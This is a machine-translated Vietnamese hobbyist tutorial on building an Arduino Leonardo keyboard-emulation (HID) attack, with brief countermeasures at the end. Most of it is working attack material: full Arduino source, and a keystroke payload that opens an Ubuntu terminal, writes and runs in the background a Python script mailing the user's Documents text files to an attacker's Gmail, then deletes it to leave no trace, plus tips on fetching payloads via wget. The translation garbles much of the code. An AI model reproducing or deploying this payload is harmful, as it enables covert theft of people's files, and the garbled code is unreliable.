Mục lục:

Bản trình diễn khai thác bàn phím Arduino (HID) và ngăn ngừa: 4 bước (có hình ảnh)
Bản trình diễn khai thác bàn phím Arduino (HID) và ngăn ngừa: 4 bước (có hình ảnh)

Video: Bản trình diễn khai thác bàn phím Arduino (HID) và ngăn ngừa: 4 bước (có hình ảnh)

Video: Bản trình diễn khai thác bàn phím Arduino (HID) và ngăn ngừa: 4 bước (có hình ảnh)
Video: Uớc mơ người ở quê tôi 2024, Tháng mười hai
Anonim
Image
Image
Xây dựng thiết bị
Xây dựng thiết bị

Trong dự án này, chúng tôi sẽ sử dụng arduino leonardo để mô phỏng một cuộc tấn công USB có thể xảy ra bằng cách sử dụng HID (thiết bị giao diện humain).

Tôi đã tạo ra hướng dẫn này không phải để giúp tin tặc mà để chỉ cho bạn một số mối nguy hiểm thực sự và cách bảo vệ bản thân bạn khỏi những mối nguy hiểm đó. Thiết bị này không phải là thiết bị có thể được sử dụng trên bất kỳ nền tảng nào dành cho tin tặc, nó là một bằng chứng chi tiết hơn về khái niệm.

Chúng ta sẽ tìm hiểu những điều sau:

- cách sử dụng arduino leonardo để giả lập bàn phím

- cách đọc dữ liệu từ thẻ SD

- cách tạo tập lệnh python quét tệp và gửi chúng qua email

- cách bảo vệ bản thân bạn khỏi các thiết bị hack USB

Bước 1: Vật liệu

Các bộ phận:

1. Arduino leonardo

2. đầu đọc thẻ micro USB

3. thẻ SD vài GB

4. nút bấm như thế này (VCC, mặt đất và tín hiệu)

5. cáp jumper nữ-nam và nữ-nữ

6. cáp micro USB sang USB

Bước 2: Xây dựng thiết bị

Xây dựng thiết bị
Xây dựng thiết bị

Trước khi hướng dẫn xây dựng, hãy xem lại nguyên tắc làm việc:

Arduino leonardo có thể hoạt động giống như một thiết bị giao diện người (HID) và do đó có thể mô phỏng chuột và bàn phím. Chúng tôi sẽ sử dụng tính năng này để mở một thiết bị đầu cuối (trong UBUNTU linux) và viết một tập lệnh nhỏ để truy cập vào thư mục / Documents bên trong thư mục chính của người dùng, sao chép các tệp.txt vào đó và gửi chúng qua email cho ai đó. Nếu bạn muốn tìm hiểu thêm chi tiết, hãy kiểm tra bước tiếp theo.

Bởi vì nó là một thiết bị demo, mọi thứ thực sự đơn giản, chúng tôi sẽ không hàn bất cứ thứ gì.

Hướng dẫn xây dựng

Trước khi chúng tôi bắt đầu, hãy kiểm tra các tệp đính kèm, tôi đã đính kèm sơ đồ fritzing và tất cả các tệp cần thiết

1. Lắp ráp các thành phần:

* cắm cáp micro USB vào arduino

* kết nối công tắc phím với arduino (mô-đun nối đất, vcc và ra với D8)

* kết nối đầu đọc thẻ với arduino (sử dụng tiêu đề ICSP). Arduino leonardo không có tiêu đề ICSP được kết nối với các chân kỹ thuật số, vì vậy bạn sẽ cần kết nối đầu đọc thẻ với tiêu đề ICSP. Bạn có thể tìm thấy một số bản vẽ của ICSP tại đây: https://learn.sparkfun.com/tutorials/installing-an…. Kết nối chân SS với chân kỹ thuật số 10

2. lấy mã arduino, bạn có thể sao chép kho lưu trữ arduino của tôi trên github: https://github.com/danionescu0/arduino và truy cập dự án / keyboard_exploit hoặc lấy từ bên dưới:

#include "Bàn phím.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; Chuỗi sleepCommandStartingPoint = "Sleep::"; Chuỗi lệnhStartingPoint = "Lệnh::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int beforeButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Bàn phím.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Thẻ bị lỗi hoặc không có!"); trở lại; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = beforeButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Đã tải lên!"); chậm trễ (500); } beforeButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Tên tệp được chỉ định không xuất hiện trên thẻ SD, hãy kiểm tra tệpnameOnCard!"); } Dòng chuỗi; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (dòng); sendToKeyboard (dòng); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); trở lại; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Văn bản:"); Serial.println (dòng); Bàn phím.println (dòng); nhấn nút Enter(); trở lại; } Serial.println ("Lệnh:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine + = ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Lệnh chuỗi = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Lệnh tìm thấy:"); Serial.println (lệnh); Keyboard.press (getCommandCode (lệnh)); trì hoãn (delayBetweenCommands); }} Keyboard.releaseAll (); trì hoãn (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Bàn phím.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Đang ngủ cho:"); Serial.println (sleepAmount); trì hoãn (sleepAmount); } char getCommandCode (Chuỗi văn bản) {char textCharacters [2]; text.toCharArray (textCharacters, 2); mã char = textCharacters [0]; mã = (văn bản == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: mã; mã = (văn bản == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: mã; mã = (văn bản == "KEY_LEFT_ALT")? KEY_LEFT_ALT: mã; mã = (văn bản == "KEY_UP_ARROW")? KEY_UP_ARROW: mã; mã = (văn bản == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: mã; mã = (văn bản == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: mã; mã = (văn bản == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: mã; mã = (văn bản == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: mã; mã = (văn bản == "KEY_BACKSPACE")? KEY_BACKSPACE: mã; mã = (văn bản == "KEY_TAB")? KEY_TAB: mã; mã = (văn bản == "KEY_RETURN")? KEY_RETURN: mã; mã = (văn bản == "KEY_ESC")? KEY_ESC: mã; mã = (văn bản == "KEY_INSERT")? KEY_INSERT: mã; mã = (văn bản == "KEY_DELETE")? KEY_DELETE: mã; mã = (văn bản == "KEY_PAGE_UP")? KEY_PAGE_UP: mã; mã = (văn bản == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: mã; mã = (văn bản == "KEY_HOME")? KEY_HOME: mã; mã = (văn bản == "KEY_END")? KEY_END: mã; mã = (văn bản == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: mã; mã = (văn bản == "KEY_F1")? KEY_F1: mã; mã = (văn bản == "KEY_F2")? KEY_F2: mã; mã = (văn bản == "KEY_F3")? KEY_F3: mã; mã = (văn bản == "KEY_F4")? KEY_F4: mã; mã = (văn bản == "KEY_F5")? KEY_F5: mã; mã = (văn bản == "KEY_F6")? KEY_F6: mã; mã = (văn bản == "KEY_F7")? KEY_F7: mã; mã = (văn bản == "KEY_F8")? KEY_F8: mã; mã = (văn bản == "KEY_F9")? KEY_F9: mã; mã = (văn bản == "KEY_F10")? KEY_F10: mã; mã = (văn bản == "KEY_F11")? KEY_F1: mã; mã = (văn bản == "KEY_F12")? KEY_F2: mã;

trả lại mã;

}

3. Tải mã lên arduino, đảm bảo chọn tốc độ truyền 9600, cổng nối tiếp và arduino leonardo

4. Định dạng thẻ sd bằng FAT16 hoặc FAT32

5. Nếu bạn sao chép github repo từ phía trên, hãy sao chép tệp hack.txt trên thẻ, nếu không phải tệp được liệt kê bên dưới:

Lệnh:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Lệnh:: KEY_INSERT nhập smtplib nhập khẩu cầu, os từ os.path nhập mở rộng người dùng từ email. MIMEMultipart nhập MIMEMultipart từ email. MIMEBase nhập MIMEBase từ email. MIMEText Nhập MIMEText từ email. Nhập COMMASPACE, định dạng từ Bộ mã hóa nhập email

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Tài liệu'

topic = body = 'Các tập tin từ máy tính bị tấn công'

header = 'Tới: {0} nTừ: {1} nĐối tượng: {2} n'.format (địa chỉ_địa chỉ, smtp_user, chủ đề)

def sendMail (tới, chủ đề, văn bản, tệp = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (văn bản)) cho tệp trong các tệp: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Phần Encoders.encode_base64 (part). add_header ('Nội dung-Bố trí', 'tệp đính kèm; filename = "% s"'% os.path.basename (tệp)) msg.attach (part)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, global.glob ("{0} / {1} / *. txt".format (expanduser ("~"), scan_documents_location)))

Ngủ:: 50 Lệnh:: KEY_ESC Ngủ:: 100: x Ngủ:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Ngủ:: 400 Lệnh:: KEY_LEFT_ALT, KEY_F4

6. Chỉnh sửa các dòng sau:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

Và thay thế bằng địa chỉ email của bạn

7. Lấy thẻ ra và lắp vào đầu đọc thẻ arduino

Bước 3: Cách thức hoạt động chi tiết

Cách tấn công sẽ hoạt động:

1. Khi nhấn nút, leonardo sẽ đọc thẻ sd bằng đầu đọc thẻ sd. Một tệp đặc biệt chứa các phím và tổ hợp phím sẽ có trên thẻ. Tên tệp là "hack.txt".

Tệp có thể chứa văn bản thô và nó sẽ được chuyển đến bàn phím như nó vốn có.

Ngoài ra, nó có thể chứa các lệnh đặc biệt như "Sleep::" và "Command::".

Một dòng như:

Sleep:: 200 có nghĩa là một giấc ngủ 200 ms

Một dòng như:

Lệnh:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t có nghĩa là nhấn ctrl trái, nhấn alt trái, nhấn t và tất cả được thả

Bạn có thể kiểm tra tất cả các khóa đặc biệt tại đây:

2. Leonardo sẽ đọc từng dòng, giải thích các lệnh và mô phỏng các phím trên bàn phím. Tệp "hack.txt" chứa một tổ hợp các khóa thực hiện những việc sau (dành cho UBUNTU linux):

Một. mở một thiết bị đầu cuối (CTRL + ALT + T)

NS. mở tệp python để tạo bằng vi (viết "vi hack.py"

NS. viết một tập lệnh python bên trong thu thập tất cả các tệp văn bản bên trong thư mục chính của tài liệu và gửi chúng đến một địa chỉ gmail được chỉ định

NS. chạy tệp trong nền ("nohup python hack.py &")

e. xóa tệp (rm -rf hack.py)

NS. đóng thiết bị đầu cuối (ALT + F4)

Toàn bộ điều này chạy trong vài giây và không để lại dấu vết.

Cải tiến và khắc phục sự cố

* Bạn có thể nhận thấy rằng sau khi mở một thiết bị đầu cuối, tôi đang ghi tệp python. cách tốt hơn là lưu trữ nó ở đâu đó và tải nó xuống bằng lệnh "wget some_url", sau đó đổi tên nó thành hack.py

* Ngoài ra, chúng tôi có thể tải xuống hoặc chạy một bản khai thác được tạo sẵn cho hệ điều hành được nhắm mục tiêu

* Có thể thêm wifi vào mô-đun và các bản hack có thể được tải lên qua WIFI

* bạn có thể sử dụng arduino micro (nhỏ hơn nhiều) và nhúng mã khai thác vào đó (để làm cho nó nhỏ hơn)

Hạn chế

1. Bởi vì thiết bị mô phỏng (bàn phím và chuột) không có bất kỳ phản hồi nào nên chúng tôi không biết điều gì sẽ xảy ra sau khi đưa ra một lệnh có nghĩa là chúng tôi cần sử dụng độ trễ. Ví dụ: tôi đang thực hiện một lệnh để mở thiết bị đầu cuối, nhưng tôi không biết khi nào nó sẽ thực sự mở, vì vậy tôi cần chỉ định độ trễ tùy ý để đảm bảo các ký tự được nhập sau đó sẽ không bị mất.

2. Chúng tôi có thể gặp sự cố về quyền như không có quyền truy cập vào cổng USB hoặc quyền cài đặt thứ gì đó

3. Tốc độ đánh máy không phải là tuyệt vời trên leonardo

4. Sẽ chỉ hoạt động trên một hệ điều hành được nhắm mục tiêu (trong trường hợp của chúng tôi là UBUNTU linux)

Trong bước tiếp theo sẽ cố gắng tìm cách khai thác những hạn chế này để tránh máy tính của chúng ta bị hack

Bước 4: Biện pháp đối phó

1. Tắt cổng USB

- đối với windows, bạn có thể xem hướng dẫn này:

2. Đưa các thiết bị USB vào danh sách trắng:

- dành cho windows:

2. Khóa máy tính khi bạn vắng nhà

3. Không đăng nhập bằng quyền root (yêu cầu mật khẩu để cài đặt bất kỳ thứ gì)

4. Luôn cập nhật bản thân của bạn (bật cập nhật tự động)

Đề xuất: